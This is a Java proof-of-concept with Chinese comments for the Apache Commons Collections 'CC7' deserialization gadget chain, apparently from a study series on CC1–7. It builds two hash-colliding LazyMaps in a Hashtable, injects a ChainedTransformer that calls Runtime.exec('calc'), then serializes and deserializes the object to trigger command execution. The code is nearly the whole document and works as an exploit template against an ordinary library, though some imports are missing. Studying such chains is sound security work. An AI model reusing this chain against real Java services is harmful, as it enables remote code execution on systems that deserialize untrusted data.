import java.util.AbstractMap;
import java.util.HashMap;
import java.util.Hashtable;
import java.util.Map;
public class cc7 {
public static void main(String[] args) throws NoSuchFieldException, IOException, ClassNotFoundException, IllegalAccessException {
// System.out.println("sss");
//
Transformer[] transforms=new Transformer[]{//transforms直接反射写入iTransformers
new ConstantTransformer(Runtime.class),//iTransformers有final修饰初始化后不能再更改
(Transformer) new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
(Transformer) new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null, null}),
(Transformer) new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
ChainedTransformer chainedTransformer =new ChainedTransformer(new Transformer[0]);
Map lazyMap1 = LazyMap.decorate(new HashMap(), chainedTransformer);
Map lazyMap2 = LazyMap.decorate(new HashMap(), chainedTransformer);
lazyMap1.put("yy", 1);
lazyMap2.put("zZ", 1);//yy and zZ hash相同
Hashtable hashtable = new Hashtable();
hashtable.put(lazyMap1, 1);
hashtable.put(lazyMap2, 1);
lazyMap2.remove("yy");//删除
System.out.println("lazyMap1 hashcode:" + lazyMap1.hashCode());
System.out.println("lazyMap2 hashcode:" + lazyMap2.hashCode());
Class cc = ChainedTransformer.class;
Field iTransformers = cc.getDeclaredField("iTransformers");
iTransformers.setAccessible(true);
iTransformers.set(chainedTransformer, transforms);
serialize(hashtable);
unserialize("ser.bin");
// Hashtable.readObject
// Hashtable.reconstitutionPut equals
// AbstractMapDecorator.equals
// AbstractMap.equals
}
public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}
public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
}
}
java cc7可以看一下这位师傅的cc7有点懒写的不是很细
https://blog.csdn.net/qq_64201116/article/details/128401981
至此c1~7结束了,cc链名字只是个代号无实际作用具体情况具体使用